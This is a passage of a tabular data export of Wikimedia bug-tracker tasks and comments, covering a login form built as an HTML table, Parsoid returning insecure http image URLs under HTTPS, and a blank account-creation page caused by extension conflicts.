+(I'm also adding as CC a few other people who have previously requested stuff for Uzbek Wikipedia in Bugzilla, just to help keep the Uzbek Wikimedia community aware of this request.)",,,1356638931,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-vzkv2gkncqkw4yvottlk,task_subcomment,,True,c2,1,False,,,-35,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+45108,Login form is a table,"Why is it contained in a table element?
+
+This causes huge restrictions on how one can style it.
+I am currently trying to style the login form to look like https://mingle.corp.wikimedia.org/attachments/3408386b028630169e1105579e7b53da/186/Wikipedia_Signup_-_iOS.png for mobile and it is impossible to do so without changes to the core.
+
+Let's replace it with a form with clearly marked input elements and input labels. There is absolutely no need for the table elements.
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: normal",High,80.0,1355450100,1360827999.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_description,resolved,True,c2,1,False,False,True,-37,True,0,0,1,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+182457,Login form is a table,"
+
+*** This bug has been marked as a duplicate of bug 34751 ***",,,1360827999,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-28,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+182446,Login form is a table,"My main groan with this is that it seems we are using a table markup just for the styling benefits it gives.
+
+Mobile had to rewrite the login form from scratch due to this constraint.
+
+I would advocate going for a bare label and input login form for the existing Special:UserLogin - there is no need for it to be in a table.",,,1358547484,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-32,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+182437,Login form is a table,This is trivial enough to fix; see the mobile version of the create account form.,,,1358535318,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-32,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+182428,Login form is a table,"**jgonera** wrote:
+
+A table is a rational markup, but not a flexible one. It makes sense on desktop but is not very suitable for mobile devices.
+
+A <ul> or <dl> (or even bare <label> and <input>) can be styled to look like a table, but it's very difficult to make a table look like a list (especially on older browsers, or IE that Windows Phone uses).",,,1358534755,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-32,True,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1
+182421,Login form is a table,"A table is perfectly rational markup. One column is for labels, the other column is for inputs, and each row is a field with its label.
+
+However, if https://gerrit.wikimedia.org/r/27022 ever gets merged, you can always just call setDisplayFormat( 'div' ) on the HTMLForm to change it.",,,1358532682,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-32,True,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+182415,Login form is a table,"I don't understand your reasoning for why a table is a rational markup. It is not rational to me at all.
+
+Labels refer to inputs in the for attribute
+The form groups them together.
+There is no new for rows / columns.",,,1355507885,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-37,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0
+182408,Login form is a table,"Technically speaking given that the login form has keys and values (key = label, value = form input) a table is actually a rational markup.
+
+That said, we actually do have some plans to change the form. Mixed in with various signup projects, form style guide, mobile stuff, etc...",,,1355452000,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-37,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1
+182402,Login form is a table,https://gerrit.wikimedia.org/r/38674 for more context.,,,1355450715,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-gajdn23sbuxbrfjbrrjl,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1
+45015,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"When I go to <https://en.wikipedia.org/wiki/User:Trevor_Parscal> and click the ""visualeditor"" tab, my browser console says:
+
+---
+The page at https://en.wikipedia.org/wiki/User:Trevor_Parscal displayed insecure content from http://en.wikipedia.org/w?title=Special:FilePath/California_Bay_Area_county_map.svg&width=.
+---
+
+Consequently, the pretty green lock icon in Google Chrome turns yellow.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1355327160,1372119634.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_description,resolved,True,c2,1,True,False,True,-37,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+201426,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934071,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,True,,,-8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+201420,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),https://gerrit.wikimedia.org/r/70344 (Gerrit Change I253b9b7a9b463439e86d7cf7975cd92f9c851e70) | change APPROVED and MERGED [by jenkins-bot],,,1372119634,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+201413,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),The fix will go out with tomorrow's Parsoid deployment.,,,1372119634,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-10,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+201408,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),https://gerrit.wikimedia.org/r/70348 (Gerrit Change Ied95c87fda13dbea2b8c46ad1e96fde1c50c1517) | change APPROVED and MERGED [by jenkins-bot],,,1372119224,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+201403,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Related URL: https://gerrit.wikimedia.org/r/70348 (Gerrit Change Ied95c87fda13dbea2b8c46ad1e96fde1c50c1517),,,1372117100,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+201400,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Related URL: https://gerrit.wikimedia.org/r/70344 (Gerrit Change I253b9b7a9b463439e86d7cf7975cd92f9c851e70),,,1372115462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+201395,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),*** Bug 49984 has been marked as a duplicate of this bug. ***,,,1371855005,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,True,,,-10,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+201387,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"We used to use a special page redirect hack, but now use the API to properly retrieve image information including the path. So the new code needs to implement some similar protocol-relative massaging for image URLs, at least for the domains we know to support both http and https.",,,1371603843,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-10,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,1,0
+201379,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"Per Roan's comments, moving to Parsoid so they can fix.",,,1371603429,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,True,,,-10,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+201375,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"(In reply to comment #7)
+> This seems to have been unfixed in production.
+> 
+Specifically, Parsoid is now once again returning http:// URLs for images (except in labs, where it returns https:// URLs). MZ submitted a fix in December to make these URLs protocol-relative, but this seems to have been unfixed somehow.
+
+Perhaps the repository URL is being grabbed from the API? That would explain why it's now a fully qualified URL, and it might explain the difference between labs and production.",,,1371603136,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-10,True,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+201372,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"This seems to have been unfixed in production.
+
+Strangely, parsoid.wmflabs.org is now giving me https URLs for images.",,,1371583342,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-11,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+201367,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),*** Bug 49283 has been marked as a duplicate of this bug. ***,,,1371576350,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,True,,,-11,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+201361,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),The page at https://en.wikipedia.org/wiki/User:Trevor_Parscal?veaction=edit displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/f/ff/California_Bay_Area_county_map.svg/38px-California_Bay_Area_county_map.svg.png.,,,1371574794,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,True,,,-11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+201355,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"I am getting this issue, on the test page referenced in the bug and others, again. The URLs do not contain Special:FilePath anymore, so perhaps something was changed about  how images are handled that introduced a regression? Reopening this bug since the issue appears to be essentially the same.",,,1371531045,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-11,True,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+201351,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Tagging with deploy-train cycle.,,,1357578934,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,True,,,-34,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+201347,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Fixed by <https://gerrit.wikimedia.org/r/38673>.,,,1355449078,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,True,,,-37,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+201342,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Upstream Parsoid bug: bug 42976,,,1355339026,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+44982,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","When I try to make an account on the English Wikipedia at <https://en.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup&returnto=Main+Page>, it gives a strange error after I press the ""Create account"" button. It might be related to the username. I'm attaching two screenshots which should give steps to reproduce.
+
+--------------------------
+**Version**: master
+**Severity**: critical",High,80.0,1355291280,1355520508.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-iaiws5jtct672n6jb3xu,task_description,resolved,True,c2,1,True,False,True,-37,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+199339,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","> I suppose the question then becomes whether he was using a version of the
+> extension that includes <https://gerrit.wikimedia.org/r/38494>.
+
+He wasn't. 8d34938 is actually the parent of that change.",,,1358353105,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-32,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+199334,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","**svu1911** wrote:
+
+*E3Experiments
+
+:)",,,1358322671,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-32,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+199330,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","**svu1911** wrote:
+
+(In reply to comment #15)
+> (In reply to comment #14)
+> > He was using E3Experiments.
+> 
+> I suppose the question then becomes whether he was using a version of the
+> extension that includes <https://gerrit.wikimedia.org/r/38494>.
+
+Hi,
+
+I am using http://www.mediawiki.org/wiki/Extension:ArticleFeedbackv5
+When I installed this extension it required a few other extensions including E3Experiments.
+
+After installing it all, when I tried ""create user"" it returned a blank page. 
+(If I was logged in I could create a user via special pages)
+
+When I commented out ""require_once( ""$IP/extensions/E3Experiments/Experiments.php"" );"" in LocalSettings.php the ""create user"" functioned again so I presumed it was a problem with the E3Experiments extension.
+
+At the time of the bug I was using :	E3Experiments-master-8d34938.tar.gz	(version 0.7.1)
+
+I've also tested the patched : experiments/acux/accountCreationUX.js file but the problem persists.
+
+Thanks to S Page who pointed me in this direction I noticed a console error ""$.trackActionWithOptions is not a function"".
+This seems to have something to do with another needed extension : ""ClickTracking""
+
+This bug in Clicktracking is referred to here :
+
+http://www.mail-archive.com/wikibugs-l@lists.wikimedia.org/msg160795.html
+http://www.gossamer-threads.com/lists/wiki/mediawiki-cvs/298490
+
+And a patch is posted here :
+
+https://gerrit.wikimedia.org/r/#/c/24078/
+
+I've just tried to replace both files :
+
+./extensions/ClickTracking/ClickTracking.hooks.php
+./extensions/ClickTracking/modules/jquery.clickTracking.js
+
+After trying to create a user when not logged in it seems to all work fine now with E2Experiments enabled in LocalSettings.php.
+
+Thanks all for helping out!",,,1358322329,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-32,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+199326,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","(In reply to comment #14)
+> He was using E3Experiments.
+
+I suppose the question then becomes whether he was using a version of the extension that includes <https://gerrit.wikimedia.org/r/38494>.",,,1358298643,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,True,,,-32,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,1
+199324,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist",He was using E3Experiments.,,,1358287211,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-33,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+199320,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","If he saw a similar symptom on another wiki (not using the account creation enhancement), it should be reported as a new bug.",,,1358287074,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-33,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+199316,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist",Stein Van Uytven indicated that he encountered similar symptoms on another wiki.  I'm CCing him so he can provide further details.,,,1358274945,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-33,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+199312,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","**swalling** wrote:
+
+Tested with the 'Joining Wikipedia is free' username, and all appears well.",,,1355522716,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
